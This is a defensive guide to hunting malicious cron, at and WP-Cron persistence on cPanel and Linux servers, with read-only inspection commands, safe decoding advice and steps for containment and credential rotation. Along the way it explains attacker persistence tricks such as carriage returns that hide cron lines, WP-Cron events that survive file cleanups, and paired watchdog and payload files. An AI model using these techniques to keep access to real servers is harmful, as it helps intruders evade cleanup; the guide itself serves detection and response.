How to find a malicious cron job on a cPanel or Linux server

A cleanup removes files. A cron entry is a line of configuration in a spool directory outside every document root, and it runs as the account user whether or not WordPress loads. If it says “every five minutes, download this into public_html”, the cleanup lasts five minutes.

The tell is regularity. Returning files carry modification times that cluster on the same minutes — :00, :15, :30, or every minute. stat on the returning files, or find public_html -newermt 'YYYY-MM-DD HH:MM' -ls from just before a return, shows this without changing anything. If the returns follow a clock, find the schedule before cleaning again.

1. 01

   List every user’s crontab

   for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done prints each account’s crontab under its name. Save the output outside every account home.

2. 02

   List the spool directory itself

   The loop only asks about users in /etc/passwd. ls -la --time-style=full-iso /var/spool/cron on AlmaLinux, CloudLinux, Rocky and CentOS — the usual cPanel platforms — or /var/spool/cron/crontabs on Debian and Ubuntu shows every crontab file, its owner, and the exact time it last changed, including files left for users that no longer exist.

3. 03

   Reveal hidden characters

   cat -A on the spool file prints control characters visibly. A carriage return inside a line can make a terminal draw over the malicious part so crontab -l appears to show a harmless comment; cat -A shows the ^M and what it hid.

4. 04

   Correlate with the cron log

   Line the file’s modification time up with the earliest modified files in that account and with the web and cPanel access logs. /var/log/cron on the RHEL family, or journalctl -u cron on Debian and Ubuntu, records each time a job ran.

A user crontab needs only that user’s access to write. The system locations run anything as any user and need root to change — so an unexplained entry here is a root-level finding.

Every crontab can be clean while scheduled work still waits — and an account user can use both of these without root.

The Cron Jobs page in cPanel, under Advanced, edits one thing: that account’s own crontab file. It is a first look, not a server check. How it renders unusual lines — @reboot, variable assignments, very long one-liners, control characters — varies by cPanel version, so treat the spool file read with crontab -l -u USER or cat -A as the record.

Its Cron Email field is the MAILTO line: cron emails each job’s output there. That is why malicious entries almost always end in >/dev/null 2>&1 — no output, no email every five minutes. Legitimate jobs often end the same way, so the redirect is context, not proof.

WP-Cron is not cron. It is a list of events in one serialised row of the options table — option_name cron in wp_options, or the site’s own prefix — and it runs only when a page request triggers wp-cron.php or a real cron calls it. A malicious event survives every file replacement and never appears in crontab -l.

An event is only a hook name and a schedule; code somewhere must be attached to the hook for it to do anything. So an unexplained event points at persistence you have not found yet — often in mu-plugins, a drop-in, or a PHP file in uploads.

1. 01

   List the events without loading plugins

   sudo -u USER wp cron event list --fields=hook,next_run_relative,recurrence --skip-plugins --skip-themes --path=/home/USER/public_html reads the schedule as the account user without executing the code that may be the problem.

2. 02

   Compare every hook with what is installed

   Core schedules hooks such as wp_version_check, wp_update_plugins, wp_update_themes, wp_scheduled_delete, and delete_expired_transients; plugins add their own, usually prefixed with the plugin name. A hook no installed component explains, or one imitating a core name, needs explaining.

3. 03

   Find the code behind the hook

   grep -rn "HOOK_NAME" /home/USER/public_html/wp-content/ only reads. If nothing matches, widen to wp-config.php and the account home; if still nothing, the callback is probably encoded — a finding in itself.

4. 04

   No WP-CLI? Read the option

   SELECT option_value FROM wp_options WHERE option_name = 'cron'; with your prefix returns the schedule. Check other autoloaded options and _transient_ rows for encoded blobs in the same pass.

Save the entry first — crontab -l -u USER > /root/incident/USER.crontab, in a directory outside any account home — and work only on that copy. Read the five time fields, then the command, then whatever it points at.

If the line contains base64, decode it into a file and read that: echo 'ENCODED_TEXT' | base64 -d > decoded.txt, then cat -A decoded.txt. Never add | sh or eval to “see” it, and repeat for each layer — one-liners are often encoded more than once.

If it fetches a URL, record the URL, domain, and IP, and do not request it from the server. The request tells the operator someone is looking; if the content is needed, retrieve it deliberately from an isolated analysis machine and never execute it.

A clean cron sweep is necessary, not sufficient. In the WHM investigation behind the gsocket guide, a packed ELF backdoor sat at ~/.config/htop/defunct in one cPanel account on a server carrying 261 accounts. Cron persistence is documented for that backdoor family — yet there was no cron entry, shell profile, or startup reference invoking the binary, and the paired defunct.dat key file was absent.

The report records that absence rather than filling it in: the capability may have been staged, a launcher removed earlier, or activation routed in a way the evidence did not preserve. The account was still treated as fully compromised. Read your own results the same way — an empty crontab narrows the search; it does not close it.

1. 01

   Preserve

   Copy the spool files with owner, mode, and full-iso timestamps; save atq and at -c output, timer units, and the cron log; hash everything the entry references with sha256sum. Keep it outside the account home.

2. 02

   Identify what it fetches and from where

   Record the URL, domain, IP, or local path each entry touches, and find the local payload: the file it writes, the binary it starts, the PHP it calls. ps -eo user,pid,ppid,etime,args and ss -tnp show what is already running and connected.

3. 03

   Contain

   Suspend the account where the business allows; if the job must stop now, comment the line out rather than deleting it. Block the destination and the account’s outbound traffic at the firewall, and record processes before terminating them.

4. 04

   Remove the entry and its payload together

   The cron line, the at job (atrm JOBID), timer and service units, and the files they reference — checking lsattr for the immutable flag first. Remove watchdog and payload in one pass, or one restores the other.

5. 05

   Rotate

   Whoever wrote the entry had the account’s access. Rotate cPanel, FTP and SFTP passwords, ~/.ssh/authorized_keys, cPanel API tokens, database passwords, and WordPress administrator and application passwords, from a clean device.

6. 06

   Watch for it returning

   Re-list the spool daily for a week against the preserved copy. With auditd, auditctl -w /var/spool/cron -p wa -k cron-watch logs every write and ausearch -k cron-watch names the process; put the rule in /etc/audit/rules.d/ to keep it across reboots.

A cron entry that reappears is not a cron problem. Something can still write that account’s crontab — and that is the real finding.